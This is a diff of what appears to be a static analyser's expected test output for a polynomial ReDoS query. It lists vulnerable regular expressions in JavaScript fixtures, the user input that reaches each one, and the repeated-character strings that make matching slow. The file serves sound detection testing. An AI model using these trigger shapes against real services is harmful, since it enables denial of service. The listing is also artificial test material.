 | polynomial-redos.js:121:18:121:24 | tainted | semmle.label | tainted |
 | polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | semmle.label | tainted ... /g, '') |
@@ -580,105 +682,3 @@ nodes
 | polynomial-redos.js:141:2:141:10 | modified3 | semmle.label | modified3 |
 | polynomial-redos.js:142:2:142:10 | modified3 | semmle.label | modified3 |
 subpaths
-#select
-| lib/closure.js:4:5:4:17 | /u*o/.test(x) | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'u'. | lib/closure.js:4:6:4:7 | u* | regular expression | lib/closure.js:3:21:3:21 | x | library input |
-| lib/indirect.js:2:5:2:17 | /k*h/.test(x) | lib/indirect.js:1:32:1:32 | x | lib/indirect.js:2:16:2:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'k'. | lib/indirect.js:2:6:2:7 | k* | regular expression | lib/indirect.js:1:32:1:32 | x | library input |
-| lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input |
-| lib/lib.js:8:2:8:17 | /f*g/.test(name) | lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:8:3:8:4 | f* | regular expression | lib/lib.js:7:19:7:22 | name | library input |
-| lib/lib.js:36:2:36:17 | /f*g/.test(name) | lib/lib.js:32:32:32:40 | arguments | lib/lib.js:36:13:36:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:36:3:36:4 | f* | regular expression | lib/lib.js:32:32:32:40 | arguments | library input |
-| lib/lib.js:42:17:42:33 | name.match(/f*g/) | lib/lib.js:41:32:41:35 | name | lib/lib.js:42:17:42:20 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:42:29:42:30 | f* | regular expression | lib/lib.js:41:32:41:35 | name | library input |
-| lib/lib.js:45:17:45:33 | name.match(/f*g/) | lib/lib.js:41:32:41:35 | name | lib/lib.js:45:17:45:20 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:45:29:45:30 | f* | regular expression | lib/lib.js:41:32:41:35 | name | library input |
-| lib/lib.js:53:5:53:20 | /f*g/.test(name) | lib/lib.js:52:22:52:25 | name | lib/lib.js:53:16:53:19 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:53:6:53:7 | f* | regular expression | lib/lib.js:52:22:52:25 | name | library input |
-| lib/moduleLib/moduleLib.js:2:2:2:17 | /a*b/.test(name) | lib/moduleLib/moduleLib.js:1:28:1:31 | name | lib/moduleLib/moduleLib.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/moduleLib/moduleLib.js:2:3:2:4 | a* | regular expression | lib/moduleLib/moduleLib.js:1:28:1:31 | name | library input |
-| lib/otherLib/js/src/index.js:2:2:2:17 | /a*b/.test(name) | lib/otherLib/js/src/index.js:1:28:1:31 | name | lib/otherLib/js/src/index.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/otherLib/js/src/index.js:2:3:2:4 | a* | regular expression | lib/otherLib/js/src/index.js:1:28:1:31 | name | library input |
-| lib/snapdragon.js:7:15:7:32 | this.match(/aa*$/) | lib/snapdragon.js:3:34:3:38 | input | lib/snapdragon.js:7:15:7:18 | this | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:7:28:7:29 | a* | regular expression | lib/snapdragon.js:3:34:3:38 | input | library input |
-| lib/snapdragon.js:15:13:15:30 | this.match(/aa*$/) | lib/snapdragon.js:12:34:12:38 | input | lib/snapdragon.js:15:13:15:16 | this | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:15:26:15:27 | a* | regular expression | lib/snapdragon.js:12:34:12:38 | input | library input |
-| lib/snapdragon.js:23:5:23:26 | node.va ... /aa*$/) | lib/snapdragon.js:20:34:20:38 | input | lib/snapdragon.js:23:5:23:12 | node.val | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:23:22:23:23 | a* | regular expression | lib/snapdragon.js:20:34:20:38 | input | library input |
-| lib/subLib4/factory.js:8:2:8:17 | /f*g/.test(name) | lib/subLib4/factory.js:7:27:7:30 | name | lib/subLib4/factory.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/subLib4/factory.js:8:3:8:4 | f* | regular expression | lib/subLib4/factory.js:7:27:7:30 | name | library input |
-| lib/subLib5/feature.js:2:2:2:17 | /a*b/.test(name) | lib/subLib5/feature.js:1:28:1:31 | name | lib/subLib5/feature.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/feature.js:2:3:2:4 | a* | regular expression | lib/subLib5/feature.js:1:28:1:31 | name | library input |
-| lib/subLib5/main.js:2:2:2:17 | /a*b/.test(name) | lib/subLib5/main.js:1:28:1:31 | name | lib/subLib5/main.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/main.js:2:3:2:4 | a* | regular expression | lib/subLib5/main.js:1:28:1:31 | name | library input |
-| lib/subLib5/subclass.js:5:5:5:20 | /a*b/.test(name) | lib/subLib5/subclass.js:4:10:4:13 | name | lib/subLib5/subclass.js:5:16:5:19 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/subclass.js:5:6:5:7 | a* | regular expression | lib/subLib5/subclass.js:4:10:4:13 | name | library input |
-| lib/subLib6/index.js:2:3:2:18 | /f*g/.test(name) | lib/subLib6/index.js:1:32:1:35 | name | lib/subLib6/index.js:2:14:2:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/subLib6/index.js:2:4:2:5 | f* | regular expression | lib/subLib6/index.js:1:32:1:35 | name | library input |
-| lib/sublib/factory.js:13:13:13:28 | /f*g/.test(name) | lib/sublib/factory.js:12:26:12:29 | name | lib/sublib/factory.js:13:24:13:27 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/sublib/factory.js:13:14:13:15 | f* | regular expression | lib/sublib/factory.js:12:26:12:29 | name | library input |
-| polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:8:2:8:23 | tainted ...  *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:8:17:8:18 |  * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:11:2:11:31 | tainted ... ]/, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:12:2:12:28 | tainted ... ./, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of '\\t'. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`_' and with many repetitions of '\\t'. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:16:2:16:46 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of '``'. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings starting with ',' and with many repetitions of ',,'. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ','. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:18:2:18:130 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '/'. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:19:2:19:148 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:20:2:20:63 | tainted ... d+)?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t\\t' and with many repetitions of '='. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '?' and with many repetitions of '?'. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '?'. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:33:2:33:56 | tainted ... e(.)*/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<style="!"' and with many repetitions of 'style="!"'. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<href="!"' and with many repetitions of 'href="!"'. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:40:2:40:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:43:2:43:78 | tainted ... +))?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t+\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:48:2:48:37 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:50:2:50:21 | /Y.*X/.test(tainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:51:2:51:33 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'YH'. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:52:3:52:29 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:52:12:52:13 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'Y'. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'B'. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:55:3:55:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:56:2:56:29 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:57:3:57:32 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:58:3:58:28 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:59:3:59:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:62:3:62:24 | /^Y*Y*X ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'Y'. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:63:3:63:28 | /^(K\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'Y'. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:64:3:64:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooY' and with many repetitions of 'Y'. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:65:3:65:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooY' and with many repetitions of 'K'. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:66:3:66:26 | /(K\|Y). ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:67:3:67:25 | /[^Y].* ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'Z'. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:69:3:69:26 | /[^Y].* ... q.body) | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'X'. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value |
-| polynomial-redos.js:71:2:71:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:73:2:73:60 | tainted ... LWP7")) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'MSIE 0.0' and with many repetitions of '0'. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:77:2:77:22 | tainted ... /Y.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:80:2:80:21 | tainted.match(/a*b/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:81:2:81:22 | tainted ... /cc*D/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:86:2:86:32 | tainted ... ab)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'ab' and with many repetitions of 'ab'. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:88:2:88:22 | tainted ... /aa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:89:2:89:24 | tainted ... a*a*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:90:2:90:23 | tainted ... \\wa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '0' and with many repetitions of 'a'. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:94:2:94:40 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:95:2:95:33 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '2'. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:96:2:96:33 | tainted ... *\\d*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:98:2:98:32 | tainted ... ab)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'abab' and with many repetitions of 'abab'. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
-| polynomial-redos.js:100:2:100:22 | tainted ... /aa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
